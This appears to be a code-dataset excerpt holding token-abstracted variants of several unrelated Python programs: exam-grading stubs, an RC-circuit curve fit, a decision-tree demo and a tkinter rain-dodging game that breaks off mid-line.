getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass OperationTypeJudge:\n <function token>\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n <function token>\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass OperationTypeJudge:\n <function token>\n <function token>\n <function token>\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass OperationTypeJudge:\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n <function token>\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n <function token>\n <function token>\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n <function token>\n <function token>\n\n def getAnswer(self, item):\n pass\n <function token>\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass SelectOperation:\n <function token>\n <function token>\n <function token>\n\n def getAnswer(self, item):\n pass\n <function token>\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass SelectOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass JudgeOperation:\n <function token>\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass JudgeOperation:\n <function token>\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n <function token>\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass JudgeOperation:\n <function token>\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n <function token>\n <function token>\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass JudgeOperation:\n <function token>\n\n def getQusetionTxt(self, item):\n pass\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass JudgeOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<code token>\n" ]
false
468
170d0560c40f3f642f319f6113b68ab8a6bea9ef
import csv import matplotlib.pyplot as plt import numpy as np from scipy.optimize import curve_fit #funktion def func(w,rc): return 1/(np.sqrt(1+w**2*rc**2)) #daten einlesen with open('data/phase.csv' ) as csvfile: reader=csv.reader(csvfile, delimiter=',') header_row=next(reader) f, U, a, b = [], [], [], [] for row in reader: f.append(row[0]) U.append(row[1]) a.append(row[2]) b.append(row[3]) f=np.array(f,dtype=float) U=np.array(U,dtype=float) a=np.array(a,dtype=float) b=np.array(b,dtype=float) #curvefit U0=0.6 popt, pcov = curve_fit(func, f*2*np.pi, U/U0) a1=popt[0] #theoriewerte R_th=11.01*10**3 C_th=93.3*10**(-9) #plots plt.xlabel(r'$f\, / \, Hz$') plt.ylabel(r'$\frac{U_c}{U_0}$', fontsize=15) plt.grid() plt.semilogx(f,U/U0,'rx',label='Messwerte') x=np.linspace(20,30000,10000) plt.semilogx(x,func(x*2*np.pi,a1),'b-',label='Ausgleichsrechnung') plt.semilogx(x,func(x*2*np.pi,R_th*C_th),'g-',label='Theoriekurve') plt.legend() plt.savefig('plotb.pdf') plt.show() #fehlerausgabe uncertainties = np.sqrt(np.diag(pcov)) print('RC =',-a1,'+-',uncertainties[0]) print('Theoriewert:',11.01*1000*93.3*10**(-9)) print('Phase:',(a/b)*np.pi*2)
[ "import csv\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom scipy.optimize import curve_fit\r\n\r\n#funktion\r\ndef func(w,rc):\r\n return 1/(np.sqrt(1+w**2*rc**2))\r\n\r\n#daten einlesen\r\nwith open('data/phase.csv' ) as csvfile:\r\n reader=csv.reader(csvfile, delimiter=',')\r\n header_row=next(reader)\r\n f, U, a, b = [], [], [], []\r\n for row in reader:\r\n f.append(row[0])\r\n U.append(row[1])\r\n a.append(row[2])\r\n b.append(row[3])\r\n f=np.array(f,dtype=float)\r\n U=np.array(U,dtype=float)\r\n a=np.array(a,dtype=float)\r\n b=np.array(b,dtype=float)\r\n\r\n#curvefit\r\nU0=0.6\r\npopt, pcov = curve_fit(func, f*2*np.pi, U/U0)\r\na1=popt[0]\r\n\r\n#theoriewerte\r\nR_th=11.01*10**3\r\nC_th=93.3*10**(-9)\r\n\r\n#plots\r\nplt.xlabel(r'$f\\, / \\, Hz$')\r\nplt.ylabel(r'$\\frac{U_c}{U_0}$', fontsize=15)\r\nplt.grid()\r\nplt.semilogx(f,U/U0,'rx',label='Messwerte')\r\nx=np.linspace(20,30000,10000)\r\nplt.semilogx(x,func(x*2*np.pi,a1),'b-',label='Ausgleichsrechnung')\r\nplt.semilogx(x,func(x*2*np.pi,R_th*C_th),'g-',label='Theoriekurve')\r\nplt.legend()\r\nplt.savefig('plotb.pdf')\r\nplt.show()\r\n\r\n#fehlerausgabe\r\nuncertainties = np.sqrt(np.diag(pcov))\r\nprint('RC =',-a1,'+-',uncertainties[0])\r\nprint('Theoriewert:',11.01*1000*93.3*10**(-9))\r\nprint('Phase:',(a/b)*np.pi*2)", "import csv\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.optimize import curve_fit\n\n\ndef func(w, rc):\n return 1 / np.sqrt(1 + w ** 2 * rc ** 2)\n\n\nwith open('data/phase.csv') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n header_row = next(reader)\n f, U, a, b = [], [], [], []\n for row in reader:\n f.append(row[0])\n U.append(row[1])\n a.append(row[2])\n b.append(row[3])\n f = np.array(f, dtype=float)\n U = np.array(U, dtype=float)\n a = np.array(a, dtype=float)\n b = np.array(b, dtype=float)\nU0 = 0.6\npopt, pcov = curve_fit(func, f * 2 * np.pi, U / U0)\na1 = popt[0]\nR_th = 11.01 * 10 ** 3\nC_th = 93.3 * 10 ** -9\nplt.xlabel('$f\\\\, / \\\\, Hz$')\nplt.ylabel('$\\\\frac{U_c}{U_0}$', fontsize=15)\nplt.grid()\nplt.semilogx(f, U / U0, 'rx', label='Messwerte')\nx = np.linspace(20, 30000, 10000)\nplt.semilogx(x, func(x * 2 * np.pi, a1), 'b-', label='Ausgleichsrechnung')\nplt.semilogx(x, func(x * 2 * np.pi, R_th * C_th), 'g-', label='Theoriekurve')\nplt.legend()\nplt.savefig('plotb.pdf')\nplt.show()\nuncertainties = np.sqrt(np.diag(pcov))\nprint('RC =', -a1, '+-', uncertainties[0])\nprint('Theoriewert:', 11.01 * 1000 * 93.3 * 10 ** -9)\nprint('Phase:', a / b * np.pi * 2)\n", "<import token>\n\n\ndef func(w, rc):\n return 1 / np.sqrt(1 + w ** 2 * rc ** 2)\n\n\nwith open('data/phase.csv') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n header_row = next(reader)\n f, U, a, b = [], [], [], []\n for row in reader:\n f.append(row[0])\n U.append(row[1])\n a.append(row[2])\n b.append(row[3])\n f = np.array(f, dtype=float)\n U = np.array(U, dtype=float)\n a = np.array(a, dtype=float)\n b = np.array(b, dtype=float)\nU0 = 0.6\npopt, pcov = curve_fit(func, f * 2 * np.pi, U / U0)\na1 = popt[0]\nR_th = 11.01 * 10 ** 3\nC_th = 93.3 * 10 ** -9\nplt.xlabel('$f\\\\, / \\\\, Hz$')\nplt.ylabel('$\\\\frac{U_c}{U_0}$', fontsize=15)\nplt.grid()\nplt.semilogx(f, U / U0, 'rx', label='Messwerte')\nx = np.linspace(20, 30000, 10000)\nplt.semilogx(x, func(x * 2 * np.pi, a1), 'b-', label='Ausgleichsrechnung')\nplt.semilogx(x, func(x * 2 * np.pi, R_th * C_th), 'g-', label='Theoriekurve')\nplt.legend()\nplt.savefig('plotb.pdf')\nplt.show()\nuncertainties = np.sqrt(np.diag(pcov))\nprint('RC =', -a1, '+-', uncertainties[0])\nprint('Theoriewert:', 11.01 * 1000 * 93.3 * 10 ** -9)\nprint('Phase:', a / b * np.pi * 2)\n", "<import token>\n\n\ndef func(w, rc):\n return 1 / np.sqrt(1 + w ** 2 * rc ** 2)\n\n\nwith open('data/phase.csv') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n header_row = next(reader)\n f, U, a, b = [], [], [], []\n for row in reader:\n f.append(row[0])\n U.append(row[1])\n a.append(row[2])\n b.append(row[3])\n f = np.array(f, dtype=float)\n U = np.array(U, dtype=float)\n a = np.array(a, dtype=float)\n b = np.array(b, dtype=float)\n<assignment token>\nplt.xlabel('$f\\\\, / \\\\, Hz$')\nplt.ylabel('$\\\\frac{U_c}{U_0}$', fontsize=15)\nplt.grid()\nplt.semilogx(f, U / U0, 'rx', label='Messwerte')\n<assignment token>\nplt.semilogx(x, func(x * 2 * np.pi, a1), 'b-', label='Ausgleichsrechnung')\nplt.semilogx(x, func(x * 2 * np.pi, R_th * C_th), 'g-', label='Theoriekurve')\nplt.legend()\nplt.savefig('plotb.pdf')\nplt.show()\n<assignment token>\nprint('RC =', -a1, '+-', uncertainties[0])\nprint('Theoriewert:', 11.01 * 1000 * 93.3 * 10 ** -9)\nprint('Phase:', a / b * np.pi * 2)\n", "<import token>\n\n\ndef func(w, rc):\n return 1 / np.sqrt(1 + w ** 2 * rc ** 2)\n\n\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
469
c9cf65eeec49eba004312491cdd2321200fa6a61
import cv2 import pandas from sklearn import tree import pydotplus from sklearn.tree import DecisionTreeClassifier import matplotlib.pyplot as plt import matplotlib.image as pltimg df = pandas.read_csv("show.csv") d = {'UK': 0, 'USA': 1, 'N': 2} df['Nationality'] = df['Nationality'].map(d) d = {'YES': 1, 'NO': 0} df['Go'] = df['Go'].map(d) ###### features = ['Age', 'Experience', 'Rank', 'Nationality'] X = df[features] y = df['Go'] ##### dtree = DecisionTreeClassifier() dtree = dtree.fit(X, y) data = tree.export_graphviz(dtree, out_file=None, feature_names=features) graph = pydotplus.graph_from_dot_data(data) graph.write_png('mydecisiontree.png') img=pltimg.imread('mydecisiontree.png') imgplot = plt.imshow(img) plt.show() print(X) print(y)
[ "import cv2\nimport pandas\nfrom sklearn import tree\nimport pydotplus\nfrom sklearn.tree import DecisionTreeClassifier\nimport matplotlib.pyplot as plt\nimport matplotlib.image as pltimg\n\ndf = pandas.read_csv(\"show.csv\")\nd = {'UK': 0, 'USA': 1, 'N': 2}\ndf['Nationality'] = df['Nationality'].map(d)\nd = {'YES': 1, 'NO': 0}\ndf['Go'] = df['Go'].map(d)\n\n######\nfeatures = ['Age', 'Experience', 'Rank', 'Nationality']\nX = df[features]\ny = df['Go']\n#####\ndtree = DecisionTreeClassifier()\ndtree = dtree.fit(X, y)\ndata = tree.export_graphviz(dtree, out_file=None, feature_names=features)\ngraph = pydotplus.graph_from_dot_data(data)\ngraph.write_png('mydecisiontree.png')\n\nimg=pltimg.imread('mydecisiontree.png')\nimgplot = plt.imshow(img)\nplt.show()\nprint(X)\nprint(y)\n\n\n", "import cv2\nimport pandas\nfrom sklearn import tree\nimport pydotplus\nfrom sklearn.tree import DecisionTreeClassifier\nimport matplotlib.pyplot as plt\nimport matplotlib.image as pltimg\ndf = pandas.read_csv('show.csv')\nd = {'UK': 0, 'USA': 1, 'N': 2}\ndf['Nationality'] = df['Nationality'].map(d)\nd = {'YES': 1, 'NO': 0}\ndf['Go'] = df['Go'].map(d)\nfeatures = ['Age', 'Experience', 'Rank', 'Nationality']\nX = df[features]\ny = df['Go']\ndtree = DecisionTreeClassifier()\ndtree = dtree.fit(X, y)\ndata = tree.export_graphviz(dtree, out_file=None, feature_names=features)\ngraph = pydotplus.graph_from_dot_data(data)\ngraph.write_png('mydecisiontree.png')\nimg = pltimg.imread('mydecisiontree.png')\nimgplot = plt.imshow(img)\nplt.show()\nprint(X)\nprint(y)\n", "<import token>\ndf = pandas.read_csv('show.csv')\nd = {'UK': 0, 'USA': 1, 'N': 2}\ndf['Nationality'] = df['Nationality'].map(d)\nd = {'YES': 1, 'NO': 0}\ndf['Go'] = df['Go'].map(d)\nfeatures = ['Age', 'Experience', 'Rank', 'Nationality']\nX = df[features]\ny = df['Go']\ndtree = DecisionTreeClassifier()\ndtree = dtree.fit(X, y)\ndata = tree.export_graphviz(dtree, out_file=None, feature_names=features)\ngraph = pydotplus.graph_from_dot_data(data)\ngraph.write_png('mydecisiontree.png')\nimg = pltimg.imread('mydecisiontree.png')\nimgplot = plt.imshow(img)\nplt.show()\nprint(X)\nprint(y)\n", "<import token>\n<assignment token>\ngraph.write_png('mydecisiontree.png')\n<assignment token>\nplt.show()\nprint(X)\nprint(y)\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
470
c893095be88636e6cb06eb3b939d8106fbb7a8ca
#Arushi Patel (aruship) from tkinter import * import random ###################################### #images taken from wikipedia,pixabay, #trans americas, clipartpanda,pngimg, #findicons, microsoft word ###################################### #################################### # init #################################### def init(data): data.score =0 data.mode = "splashScreen" data.timerDelay = 100 data.height = 800 data.width = 800 data.speed = 10 data.speedAI = 12 data.speedAI2 = 12 data.switchOnProgress = False data.r = 25 data.cx= 280 data.cy=750 data.onLeft1, data.onLeft2 = True, True data.win= False data.coconuts = [] data.powerUps = [] data.coconuts1 = [] data.coconuts2 = [] data.coconutsAI1 =[] data.coconutsAI2 = [] data.invincible = [] data.pauseDrops = False data.pause1Drop = False data.pause2Drop = False init1(data) def init1(data): data.beInvincible = False data.Invincible1 = False data.Invincible2 = False data.scaryBug = [] data.time = 0 data.coconutFall = False data.sides = ["r", "l"] data.level = 1 data.splashScreenTime = 0 data.splashScreenDrops = [] data.background= PhotoImage(file="tree.gif") data.deadScreen = PhotoImage(file = "deadBug.gif") data.ladyBug = PhotoImage(file = "lady.gif") data.winScreen= PhotoImage(file = "treeTop1.gif") data.winBug = PhotoImage(file = "littleBug.gif") data.halfBackground = PhotoImage(file = "halfTree.gif") data.umbrella = PhotoImage(file = "umbrella2.gif") data.spider = PhotoImage(file = "spider.gif") data.hourGlass = PhotoImage(file = "hourGlass.gif") data.splashScreen = PhotoImage(file = "splash.gif") init2(data) def init2(data): data.tbg= PhotoImage(file = "tbg2.gif") data.click = PhotoImage(file = "click.gif") data.notClick = PhotoImage(file = "notClick.gif") data.player1X = 150 data.player1Y = 750 data.player2X = 550 data.player2Y = 750 data.winner = None data.speed = 12 data.speed2 = 12 data.editorTime = 0 data.editorDrops = [] data.margin = 100 data.enter = False data.powerUpsEditor = None data.yourSpeed = None data.rainSpeed = None data.slow= data.notClick data.medium = data.notClick data.fast = data.notClick data.drizzle = data.notClick data.rain =data.notClick data.thunderstorm = data.notClick init3(data) def init3(data): data.yes = data.notClick data.no = data.notClick data.enter = data.notClick data.levelEditorLives =2 data.rSpeed = None data.start = None data.start1 = None data.start2 = None data.difficulty = None data.mode1 = data.notClick data.mode2 = data.notClick data.mode3 = data.notClick data.mode4 = data.notClick data.mode5 = data.notClick data.mode6 = data.notClick data.home = PhotoImage(file = "home.gif") data.helpScreen = PhotoImage(file = "help1.gif") data.title = PhotoImage(file = "title.gif") data.scoreList = [] data.spotList = [270,364,458,552, 646, 740] data.savedScores = readFile("score.txt") if data.mode == "levelCreated": setEverything(data) initsplashScreenNumbers(data) def initsplashScreenNumbers(data): data.splashButtonY = 425 data.p1ButtonX= 225 data.p2ButtonX = 290 data.edButton = 355 data.diffButton = 425 data.helpButton = 490 data.sboardButton = 555 data.hitPenalty = 75 data.splashText = data.height/2-20 data.lives = 2 data.levelMax = 8 data.lane = 94 data.Player1Min= 270 data.Player1Max = 740 data.homeX =50 data.homeY = 650 initScoreBoardHelp(data) init1Player(data) def initScoreBoardHelp(data): data.tbgY=5*data.height/12 data.txtTScore = 150 data.S_P = 220 data.numScores = 5 data.scorePos = data.height/10 data.scoreShift = 270 data.helpY = data.height/2-20 data.name = "" data.printName = "" data.hit = False initAI(data) def init1Player(data): data.buffer = 40 def initAI(data): data.AITY = 225 data.easyX = 200 data.easyY = 300 data.medX =400 data.hardX = 600 data.enterY = 450 data.difS = 4 data.difM = 6 data.difH = 8 data.last = 500 data.enterX = 575 data.PUT = 450 data.RST = 350 data.YST = 250 #################################### # mode dispatcher #################################### def mousePressed(event, data): if (data.mode == "splashScreen"): splashScreenMousePressed(event, data) elif (data.mode == "1Player"): playerMousePressed(event, data) elif (data.mode == "2Player"): twoPlayerMousePressed(event, data) elif (data.mode == "editor"): editorMousePressed(event,data) elif (data.mode == "levelCreated"): levelCreatedMousePressed(event,data) elif (data.mode == "AI"): AIMousePressed(event, data) elif (data.mode == "difficulty"): difficultyMousePressed(event, data) elif (data.mode == "scoreboard"): scoreboardMousePressed(event, data) elif (data.mode == "help"): helpMousePressed(event, data) def keyPressed(event, data): if (data.mode == "splashScreen"): splashKeyPressed(event, data) elif (data.mode == "1Player"):playerKeyPressed(event, data) elif (data.mode == "2Player"):twoPlayerKeyPressed(event, data) elif (data.mode == "editor"): editorKeyPressed(event, data) elif (data.mode == "levelCreated"): levelCreatedKeyPressed(event,data) elif (data.mode == "AI"): AIKeyPressed(event, data) elif (data.mode == "difficulty"): difficultyKeyPressed(event, data) elif (data.mode == "scoreboard"): scoreboardKeyPressed(event, data) elif (data.mode == "help"): helpKeyPressed(event, data) def timerFired(data): if (data.mode == "splashScreen"): splashScreenTimerFired(data) elif (data.mode == "1Player"):playerTimerFired(data) elif (data.mode == "2Player"):twoPlayerTimerFired(data) elif (data.mode == "editor"): editorTimerFired(data) elif (data.mode == "levelCreated"): levelCreatedTimerFired(data) elif (data.mode == "AI"): AITimerFired(data) elif (data.mode == "difficulty"): difficultyTimerFired(data) elif (data.mode == "scoreboard"): scoreboardTimerFired(data) elif (data.mode == "help"): helpTimerFired(data) def redrawAll(canvas, data): if (data.mode == "splashScreen"): splashScreenRedrawAll(canvas, data) elif (data.mode == "1Player"):playerRedrawAll(canvas, data) elif (data.mode == "2Player"):twoPlayerRedrawAll(canvas, data) elif (data.mode == "editor"): editorRedrawAll(canvas, data) elif (data.mode == "levelCreated"): levelCreatedRedrawAll(canvas,data) elif (data.mode == "AI"): AIRedrawAll(canvas, data) elif (data.mode == "difficulty"): difficultyRedrawAll(canvas, data) elif (data.mode == "scoreboard"): scoreboardRedrawAll(canvas, data) elif (data.mode == "help"): helpRedrawAll(canvas, data) #################################### # splashScreen mode #################################### def splashScreenMousePressed(event, data): #checks for selection of mode if data.splashButtonY-2*data.r <= event.x <=data.splashButtonY+2*data.r: if data.p1ButtonX-data.r<=event.y<=data.p1ButtonX+data.r: data.mode = "1Player" if data.p2ButtonX-data.r<=event.y<=data.p2ButtonX+data.r: data.mode = "2Player" if data.edButton-data.r<=event.y<=data.edButton+data.r: data.mode = "editor" if data.diffButton-data.r<=event.y<=data.diffButton+data.r: data.mode = "difficulty" if data.helpButton-data.r<=event.y<=data.helpButton+data.r: data.mode = "help" if data.sboardButton-data.r<=event.y<=data.sboardButton+data.r: data.mode = "scoreboard" def splashKeyPressed(event, data): pass def splashScreenTimerFired(data): data.splashScreenTime += 1 if data.splashScreenTime %2 ==1: rainDropSplash(data) for drop in data.splashScreenDrops: drop.onTimerFired(data) def splashScreenButtons(canvas, data): canvas.create_image(data.splashButtonY,data.p1ButtonX,image = data.mode1) canvas.create_image(data.splashButtonY,data.p2ButtonX,image = data.mode2) canvas.create_image(data.splashButtonY,data.edButton,image = data.mode3) canvas.create_image(data.splashButtonY,data.diffButton,image = data.mode4) canvas.create_image(data.splashButtonY,data.helpButton,image = data.mode5) canvas.create_image(data.splashButtonY,data.sboardButton,image =data.mode6) def rainDropSplash(data): xPosition = random.randint(0,800) data.splashScreenDrops.append(Coconuts(xPosition,0)) def splashScreenRedrawAll(canvas, data): canvas.create_image(data.width/2, data.splashText-10, image=data.title) for drop in data.splashScreenDrops: drop.draw(canvas) canvas.create_text(data.width/2, data.splashText, text=""" 1.) Single Player Level Mode 2.) Two-Player Mode 3.) Level Creator Practice Mode 4.) Play Against the Computer 5.) Help and Instructions 6.) Scoreboard """, font="Arial 14 bold", fill = "yellow") splashScreenButtons(canvas, data) #################################### # taken from class notes #################################### def writeFile(path, contents): with open(path, "wt") as f: f.write(contents) def readFile(path): with open(path, "rt") as f: return f.read() #################################### # 1Player mode #################################### #Coconuts (from Mario game) represent the water drops class Coconuts(object): def __init__(self,x,y): self.x = x self.y = y self.r = 9 self.fill = "deep sky blue" self.speed = 30 self.outline= "blue" def draw(self, canvas): canvas.create_polygon(self.x,self.y- 2*self.r, self.x-self.r, self.y, self.x, self.y + self.r, self.x+self.r, self.y, fill = self.fill, outline = self.outline, width = 3) def onTimerFired(self, data): # downward falling motion self.y += self.speed def hit(data): #checks for hitting rain for coconut in data.coconuts: if data.mode == "1Player" or data.mode == "levelCreated": if coconut.y>=data.cy-data.r and coconut.y<=data.cy+data.r: if coconut.x>=data.cx-data.r and coconut.x<=data.cx+data.r: data.cy+=data.hitPenalty if data.mode == "levelCreated": data.lives-=1 elif data.hit ==False and data.level<data.levelMax: data.score -=data.level data.coconuts.remove(coconut) if data.mode == "levelCreated": data.levelEditorLives-=1 def hit2Player(data): if data.mode == "2Player": if data.Invincible1 == False: #only when powerup isn't active for coconut in data.coconuts1: if coconut.y>=data.player1Y-data.r \ and coconut.y<=data.player1Y+data.r: if coconut.x>=data.player1X-data.r and \ coconut.x<=data.player1X+data.r: data.player1Y+=data.hitPenalty data.coconuts1.remove(coconut) if data.Invincible2 == False: #only when powerup isn't active for coconut in data.coconuts2: if coconut.y>=data.player2Y-data.r and \ coconut.y<=data.player2Y+data.r: if coconut.x>=data.player2X-data.r and \ coconut.x<=data.player2X+data.r: data.player2Y+=data.hitPenalty data.coconuts2.remove(coconut) class PowerUps(Coconuts): def __init__(self,x,y): super().__init__(x, y) def draw(self, canvas, data): canvas.create_image(self.x, self.y, image=data.hourGlass) def hitPause(data): # checks if hits hour-glass & pauses with flag for powerUp in data.powerUps: if data.mode == "1Player" or data.mode == "levelCreated": if powerUp.y>=data.cy-data.r and powerUp.y<=data.cy+data.r: if powerUp.x>=data.cx-data.r and 